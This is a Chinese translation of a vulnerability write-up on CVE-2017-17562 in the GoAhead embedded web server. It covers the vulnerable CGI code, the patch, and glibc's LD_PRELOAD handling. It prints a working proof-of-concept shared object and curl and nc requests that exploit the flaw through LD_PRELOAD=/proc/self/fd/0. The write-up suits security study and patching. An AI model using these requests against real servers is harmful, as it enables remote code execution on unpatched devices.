0x01介绍
CVE-2017-17562是一个基于GoAhead web server < 3.6.5的远程代码执行漏洞,本文将对该漏洞的细节进行描述。
漏洞的成因是由于GoAhead允许用户通过参数,构造任意的环境变量,该环境变量将会影响所有启用了动态链接的CGI可执行文件。当CGI程序调用glibc动态链接库时,类似于LD_PRELOAD(通常用于函数钩子)的环境变量将导致远程代码执行。
GoAhead是世界上最流行的嵌入式Web服务器,它被IBM、HP、Oracle、波音、D-Link和摩托罗拉使用。我们在Shodan上可以发现超过735000个设备使用GoAhead。
本文以GoAhead作为案例进行研究,很多其他类型的软件也存在类似的问题。
0x02漏洞分析
该漏洞存在于所有的GoAhead版本(我们所能获取的最低版本是2.5.0),可以通过以下命令来获取GoAhead的源码:
daniel@makemyday:~$ git clone https://github.com/embedthis/goahead.git
Cloning into 'goahead'...
remote: Counting objects: 20583, done.
remote: Total 20583 (delta 0), reused 0 (delta 0), pack-reused 20583
Receiving objects: 100% (20583/20583), 19.71 MiB | 4.76 MiB/s, done.
Resolving deltas: 100% (14843/14843), done.
daniel@makemyday:~$ cd goahead/
daniel@makemyday:~/goahead$ ls
configure CONTRIBUTING.md doc installs main.me Makefile paks README.md test
configure.bat dist farm.json LICENSE.md make.bat package.json projects src
daniel@makemyday:~/goahead$ git checkout tags/v3.6.4 -q
daniel@makemyday:~/goahead$ make > /dev/null
daniel@makemyday:~/goahead$ cd test
daniel@makemyday:~/goahead/test$ gcc ./cgitest.c -o cgi-bin/cgitest
daniel@makemyday:~/goahead/test$ sudo ../build/linux-x64-default/bin/goahead
0x03代码
漏洞存在于cgiHandler函数中,该函数先为新进程的envp参数分配一个指针数组,然后使用HTTP参数中的key-value来初始化这个数组。最后,launchCgi函数被fork和execve所执行的CGI脚本所调用。
程序会过滤REMOTE_HOST和HTTP_AUTHORIZATION,除此之外,其他的参数都是可信的,并且没有进一步的过滤。这就允许攻击者在新的CGI进程中控制环境变量。这样的行为十分危险,后面将会具体介绍。
Figure-3:goahead/src/cgi.c:cgihandler
...
PUBLICboolcgiHandler(Webs*wp)
{
Cgi*cgip;
WebsKey*s;
charcgiPrefix[ME_GOAHEAD_LIMIT_FILENAME],*stdIn,*stdOut,cwd[ME_GOAHEAD_LIMIT_FILENAME];
char*cp,*cgiName,*cgiPath,**argp,**envp,**ep,*tok,*query,*dir,*extraPath,*exe;
CgiPidpHandle;
intn,envpsize,argpsize,cid;
...
/*
Add all CGI variables to the environment strings to be passed to the spawned CGI process. This includes a few
we don't already have in the symbol table, plus all those that are in the vars symbol table. envp will point
to a walloc'd array of pointers. Each pointer will point to a walloc'd string containing the keyword value pair
in the form keyword=value. Since we don't know ahead of time how many environment strings there will be the for
loop includes logic to grow the array size via wrealloc.
*/
envpsize=64;
envp=walloc(envpsize*sizeof(char*));
for(n=0,s=hashFirst(wp->vars);s!=NULL;s=hashNext(wp->vars,s)){
if(s->content.valid&&s->content.type==string&&
strcmp(s->name.value.string,"REMOTE_HOST")!=0&&
strcmp(s->name.value.string,"HTTP_AUTHORIZATION")!=0){
envp[n++]=sfmt("%s=%s",s->name.value.string,s->content.value.string);
trace(5,"Env[%d] %s",n,envp[n-1]);
if(n>=envpsize){
envpsize*=2;
envp=wrealloc(envp,envpsize*sizeof(char*));
}
}
}
*(envp+n)=NULL;
/*
Create temporary file name(s) for the child's stdin and stdout. For POST data the stdin temp file (and name)
should already exist.
*/
if(wp->cgiStdin==NULL){
wp->cgiStdin=websGetCgiCommName();
}
stdIn=wp->cgiStdin;
stdOut=websGetCgiCommName();
if(wp->cgifd>=0){
close(wp->cgifd);
wp->cgifd=-1;
}
/*
Now launch the process. If not successful, do the cleanup of resources. If successful, the cleanup will be
done after the process completes.
*/
if((pHandle=launchCgi(cgiPath,argp,envp,stdIn,stdOut))==(CgiPid)-1){
...
0x04补丁
该问题是通过过滤掉特殊的参数来解决的,即使对于类似a=b%00LD_PRELOAD%3D的参数,似乎也可以过滤。如果您有发现其他可以绕过的情况,很乐意交流。
Figure-4:git diff f9ea55a 6f786c1src/cgi.c
diff --git a/src/cgi.c b/src/cgi.c
index 899ec97b..18d9b45b 100644
--- a/src/cgi.c
+++ b/src/cgi.c
@@ -160,10 +160,17 @@ PUBLIC bool cgiHandler(Webs *wp)
envpsize = 64;
envp = walloc(envpsize * sizeof(char*));
for (n = 0, s = hashFirst(wp->vars); s != NULL; s = hashNext(wp->vars, s)) {
- if (s->content.valid && s->content.type == string &&
- strcmp(s->name.value.string, "REMOTE_HOST") != 0 &&
- strcmp(s->name.value.string, "HTTP_AUTHORIZATION") != 0) {
- envp[n++] = sfmt("%s=%s", s->name.value.string, s->content.value.string);
+ if (s->content.valid && s->content.type == string) {
+ if (smatch(s->name.value.string, "REMOTE_HOST") ||
+ smatch(s->name.value.string, "HTTP_AUTHORIZATION") ||
+ smatch(s->name.value.string, "IFS") ||
+ smatch(s->name.value.string, "CDPATH") ||
+ smatch(s->name.value.string, "PATH") ||
+ sstarts(s->name.value.string, "LD_")) {
+ continue;
+ }
+ envp[n++] = sfmt("%s%s=%s", ME_GOAHEAD_CGI_PREFIX,
+ s->name.value.string, s->content.value.string);
trace(5, "Env[%d] %s", n, envp[n-1]);
if (n >= envpsize) {
envpsize *= 2;
0x05开发
虽然注入环境变量的问题看起来没有那么严重,但是有时候特殊的环境变量会导致动态链接库劫持程序的控制流。
ELF动态链接
读取GoAhead的ELF文件头,我们可以看到它是一个64位动态链接的可执行文件。程序解释器在INTERP段中被指出,并且指向/lib64/ld-linux-x86-64.so.2(这是动态链接器)。
Figure-5:Reading the ELF header
daniel@makemyday:~/goahead/build/linux-x64-default/bin$
readelf
-hl./goahead
ELF Header:
Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
Class: ELF64
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: DYN (Shared object file)
Machine: Advanced Micro Devices X86-64
Version: 0x1
Entry point address: 0xf80
Start of program headers: 64 (bytes into file)
Start of section headers: 21904 (bytes into file)
Flags: 0x0
Size of this header: 64 (bytes)
Size of program headers: 56 (bytes)
Number of program headers: 9
Size of section headers: 64 (bytes)
Number of section headers: 34
Section header string table index: 33
Program Headers:
Type Offset VirtAddr PhysAddr
FileSiz MemSiz Flags Align
PHDR 0x0000000000000040 0x0000000000000040 0x0000000000000040
0x00000000000001f8 0x00000000000001f8 R E 0x8
INTERP 0x0000000000000238 0x0000000000000238 0x0000000000000238
0x000000000000001c 0x000000000000001c R 0x1
[Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
...
daniel@makemyday:~/goahead/build/linux-x64-default/bin$
动态链接器是第一个在动态链接的可执行文件当中允许的代码,负责链接和加载共享对象并解析符号。为了获取goahead进程加载的所有共享对象列表,我们可以设置一个特殊的环境变量LD_TRACE_LOADED_OBJECTS为1。运行以后会打印加载的库后并退出。
Figure-6:ld.so LD_TRACE_LOADED_OBJECTS
daniel@makemyday:~/goahead/build/linux-x64-default/bin$LD_TRACE_LOADED_OBJECTS=
1 ./goahead
linux-vdso.so.1 =>(
0x00007fff31bb4000
)libgo.so =>
/home/daniel/goahead/build/linux-x64-default/bin/libgo.so
(0x00007f571f548000
)libc.so.6 =>
/lib/x86_64-linux-gnu/libc.so.6
(0x00007f571f168000
)libpthread.so.0 =>
/lib/x86_64-linux-gnu/libpthread.so.0
(0x00007f571ef49000
)/lib64/ld-linux-x86-64.so.2 (0x00007f571f806000)
daniel@makemyday:~/goahead/build/linux-x64-default/bin$
我们也可以静态的找到这些信息(不用允许动态链接器)。做法是通过在ELF共享对象中,用grep查找DT_NEEDED定义来实现。
Figure-7:statically finding shared object dependancies
daniel@makemyday:~/goahead/build/linux-x64-default/bin$readelf
-d./goahead |
grepNEEDED
0x0000000000000001 (NEEDED) Shared library: [libgo.so]
0x0000000000000001 (NEEDED) Shared library: [libc.so.6]
daniel@makemyday:~/goahead/build/linux-x64-default/bin$readelf
-d/home/daniel/goahead/build/linux-x64-default/bin/libgo.so |
grepNEEDED
0x0000000000000001 (NEEDED) Shared library: [libpthread.so.0]
0x0000000000000001 (NEEDED) Shared library: [libc.so.6]
daniel@makemyday:~/goahead/build/linux-x64-default/bin$readelf
-d/lib/x86_64-linux-gnu/libc.so.6 |
grepNEEDED
0x0000000000000001 (NEEDED) Shared library: [ld-linux-x86-64.so.2]
daniel@makemyday:~/goahead/build/linux-x64-default/bin$
注意:一些认真的读者可能会注意到这里面缺少了linux-vdso.so.1。这没毛病!vDSO是由内核映射进内存的特殊共享库。详细信息可以看man 7 vdso。
特殊的环境变量
那么,这和环境变量注入有什么关系呢?我们知道,动态链接器是第一个执行新进程的代码,如果我们读man 8 ld.so,我们就可以发现有一些特殊的环境变量可以修改默认的行为。
让我们来读下源代码,看看其中发生了什么。dl_main函数是动态链接器的入口函数。
Figure-8:glibc/elf/rtld.c:dl_main
static void dl_main(constElfW(Phdr)*phdr,
ElfW(Word)phnum,
ElfW(Addr)*user_entry,
ElfW(auxv_t)*auxv)
{
constElfW(Phdr)*ph;
enummodemode;
structlink_map*main_map;
size_tfile_size;
char*file;
boolhas_interp=false;unsignedinti;
...
/* Process the environment variable which control the behaviour. */
process_envvars(&mode);
从代码中可以看出,该函数做的第一件事情,就是调用process_envvars函数。
Figure-9:glibc/elf/rtld.c:process_envvars
staticvoid
process_envvars(enummode*modep)
{
char**runp=_environ;
char*envline;
enummodemode=normal;
char*debug_output=NULL;
/* This is the default place for profiling data file. */
GLRO(dl_profile_output)
=&"/var/tmp\0/var/profile"[__libc_enable_secure?9:0];
while((envline=_dl_next_ld_env_entry(&runp))!=NULL)
{
size_tlen=0;
while(envline[len]!='\0'&&envline[len]!='=')
++len;
if(envline[len]!='=')
/* This is a "LD_" variable at the end of the string without
a '=' character. Ignore it since otherwise we will access
invalid memory below. */
continue;
switch(len)
{
case4:
/* Warning level, verbose or not. */
if(memcmp(envline,"WARN",4)==0)
GLRO(dl_verbose)=envline[5]!='\0';
break;
case5:
/* Debugging of the dynamic linker? */
if(memcmp(envline,"DEBUG",5)==0)
{
process_dl_debug(&envline[6]);break;
}
if(memcmp(envline,"AUDIT",5)==0)
audit_list_string=&envline[6];break;
case7:
/* Print information about versions. */
if(memcmp(envline,"VERBOSE",7)==0)
{
version_info=envline[8]!='\0';break;
}
/* List of objects to be preloaded. */
if(memcmp(envline,"PRELOAD",7)==0)
{
preloadlist=&envline[8];break;
}
我们可以看到,链接器解析envp数组,如果找到特殊的变量名称,则执行不同的代码路径。特别有趣的是,在case 7在接收到LD_PRELOAD后,对preloadlist进行了赋值。
Figure-10:glibc/elf/rtld.c:dl_main
...
/* We have two ways to specify objects to preload: via environment
variable and via the file /etc/ld.so.preload. The latter can also
be used when security is enabled. */
assert(*first_preload==NULL);
structlink_map**preloads=NULL;
unsignedintnpreloads=0;
if(__glibc_unlikely(preloadlist!=NULL))
{
HP_TIMING_NOW(start);
npreloads+=handle_ld_preload(preloadlist,main_map);
HP_TIMING_NOW(stop);
HP_TIMING_DIFF(diff,start,stop);
HP_TIMING_ACCUM_NT(load_time,diff);
}
...
继续查看dl_main函数,如果preloadlist不为NULL,就调用handle_ld_preload函数。
Figure-11:glibc/elf/rtld.c:handle_ld_preload
/* The list preloaded objects. */
staticconstchar*preloadlistattribute_relro;
/* Nonzero if information about versions has to be printed. */
staticintversion_infoattribute_relro;
/* The LD_PRELOAD environment variable gives list of libraries
separated by white space or colons that are loaded before the
executable's dependencies and prepended to the global scope list.
(If the binary is running setuid all elements containing a '/' are
ignored since it is insecure.) Return the number of preloads
performed. */
unsignedint
handle_ld_preload(constchar*preloadlist,structlink_map*main_map)
{
unsignedintnpreloads=0;
constchar*p=preloadlist;
charfname[SECURE_PATH_LIMIT];
while(*p!='\0')
{
/* Split preload list at space/colon. */
size_tlen=strcspn(p," :");
if(len>0&&len<sizeof(fname))
{
memcpy(fname,p,len);
fname[len]='\0';
}
else
fname[0]='\0';
/* Skip over the substring and the following delimiter. */
p+=len;
if(*p!='\0')
++p;
if(dso_name_valid_for_suid(fname))
npreloads+=do_preload(fname,main_map,"LD_PRELOAD");
}
returnnpreloads;
}
...
handle_ld_preload函数将会解析preloadlist并且将其视为要加载的共享对象列表!
如果我们用goahead注入LD_PRELOAD环境变量,就可以利用glibc处理特殊环境变量的特性,加载没有在ELF文件中链接的任意共享对象!
0x06 ELF .SO
这太他妈的牛逼了,我们能够强制goahead加载任意的共享对象。但是有个问题,我们如何让它允许代码呢?
在.init和.fini 段中,如果我们用constructor attribute修饰一个函数,那么就可以强制这个函数在main之前执行。
Figure-12:PoC/payload.c
#include <unistd.h>
staticvoidbefore_main(void)__attribute__((constructor));
staticvoidbefore_main(void)
{
write(1,"Hello: World!\n",14);
}
Figure-13:Compiling payload.c as shared object.
daniel@makemyday:~/goahead/PoC$gcc
-shared-fPIC./payload.c
-opayload.so
daniel@makemyday:~/goahead/PoC$LD_PRELOAD=./payload.so
cat/dev/null
Hello: World!
daniel@makemyday:~/goahead/PoC$
太棒了,如果我们在goahead的测试系统上运行,会发生什么呢?
Figure-14:Trying a simple PoC
daniel@makemyday:~/goahead/PoC$ls-la./payload.so
-rwxrwxr-x 1 daniel daniel 7896 Dec 13 17:38 ./payload.so
daniel@makemyday:~/goahead/PoC$echo-en"GET /cgi-bin/cgitest?LD_PRELOAD=$(pwd)/payload.so HTTP/1.0\r\n\r\n"| nc localhost 80 | head
-10HTTP/1.0 200 OK
Date: Wed Dec 13 02:38:56 2017
Transfer-Encoding: chunked
Connection: close
X-Frame-Options: SAMEORIGIN
Pragma: no-cache
Cache-Control: no-cache
hello: World!
content-type: text/html
daniel@makemyday:~/goahead/PoC$
我们能够清晰的看到,我们的共享代码由cgitest进程通过LD_PRELOAD执行了。
0x07 LINUX /PROC/SELF/FD/0
目前还面临一个关键的问题,即使我们知道可以从磁盘加载共享对象,从而允许自定义代码的执行,但是我们如何将构造的共享对象注入到远程服务器呢?如果我们做不到这一点,那么这个漏洞就有点鸡肋了。
幸运的是,launchCgi函数实际上使用dup2()将stdin文件描述符指向包含POST请求主体的临时文件。这就代表着在磁盘上会有一个包含用户提供的数据文件,并且可以通过LD_PRELOAD=/tmp/cgi-XXXXXX的方式进行引用。
Figure-15:goahead/src/cgi.c:launchCgi
/*
Launch the CGI process and return a handle to it.
*/
static CgiPidlaunchCgi(char*cgiPath,char**argp,char**envp,char*stdIn,char*stdOut)
{
int
fdin,fdout,pid;
trace(5,"cgi: run %s",cgiPath);
if((fdin=open(stdIn,O_RDWR|O_CREAT|O_BINARY,0666))<0){
error("Cannot open CGI stdin: ",cgiPath);
return-1;
}
if((fdout=open(stdOut,O_RDWR|O_CREAT|O_TRUNC|O_BINARY,0666))<0){
error("Cannot open CGI stdout: ",cgiPath);
return-1;
}
pid=vfork();
if(pid==0){
/*
Child
*/
if(dup2(fdin,0)<0){
printf("content-type: text/html\n\nDup of stdin failed\n");
_exit(1);
}elseif(dup2(fdout,1)<0){
printf("content-type: text/html\n\nDup of stdout failed\n");
_exit(1);
}elseif(execve(cgiPath,argp,envp)==-1){
printf("content-type: text/html\n\nExecution of cgi process failed\n");
}
...
}
不过,这样做的话需要猜测(非不可能)包含我们POST内容的临时文件名,这显得有点蛋疼。幸运的是,Linux procfs文件系统有一个很好的符号链接,我们可以用它来指向我们临时文件stdin的描述符。可以将LD_PRELOAD指向/proc/self/fd/0,也可以直接使用/dev/stdin来访问。
Figure-16:linux/fs/proc/self.c
static const char* proc_self_get_link(structdentry*dentry,
structinode*inode,
structdelayed_call*done)
{
structpid_namespace*ns=inode->i_sb->s_fs_info;
pid_ttgid=task_tgid_nr_ns(current,ns);
char*name;
if(!tgid)
returnERR_PTR(-ENOENT);
/* 11 for max length of signed int in decimal + NULL term */
name=kmalloc(12,dentry?GFP_KERNEL:GFP_ATOMIC);
if(unlikely(!name))
returndentry?ERR_PTR(-ENOMEM):ERR_PTR(-ECHILD);
sprintf(name,"%d",tgid);
set_delayed_call(done,kfree_link,name);
returnname;
}
staticconststructinode_operationsproc_self_inode_operations={
.get_link
=proc_self_get_link,
};
这样,我们就可以通过POST请求来可靠的利用这个漏洞了。POST请求中包含一个恶意的共享对象,同时,设置LD_PRELOAD=/proc/self/fd/0来引用我们POST的共享对象,就达到了远程攻击的目的。
Figure-17:exploiting via the command line
daniel@makemyday:~/goahead/PoC$curl
-XPOST
--data-binary@payload.so http://makemyday/cgi-bin/cgitest?LD_PRELOAD
=/proc/self/fd/0
-i| head
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 9931 0 2035 100 7896 2035 7896 0:00:01 0:00:01 --:--:-- 9774
HTTP/1.1 200 OK
Date: Sun Dec 17 13:08:20 2017
Transfer-Encoding: chunked
Connection: keep-alive
X-Frame-Options: SAMEORIGIN
Pragma: no-cache
Cache-Control: no-cache
hello: World!
Content-type: text/html
daniel@makemyday:~/goahead/PoC$
如果你需要一个POC,请访问我们的GitHub项目 https://github.com/elttam/advisories/tree/master/CVE-2017-17562。
0x08 结论
这个漏洞是一个有趣的研究案例,而且思路十分新颖。本文起到一个抛砖引玉的作用,所介绍的漏洞也可能存在于其他的应用服务当中。
如果你有兴趣了解更多关于链接和加载的知识,这里有2篇很棒的文章可以阅读(https://www.cs.stevens.edu/~jschauma/810/elf.html and http://s.eresi-project.org/inc/articles/elf-rtld.txt)。
翻译内容出处:https://www.elttam.com.au/blog/goahead/,点击阅读原文直达!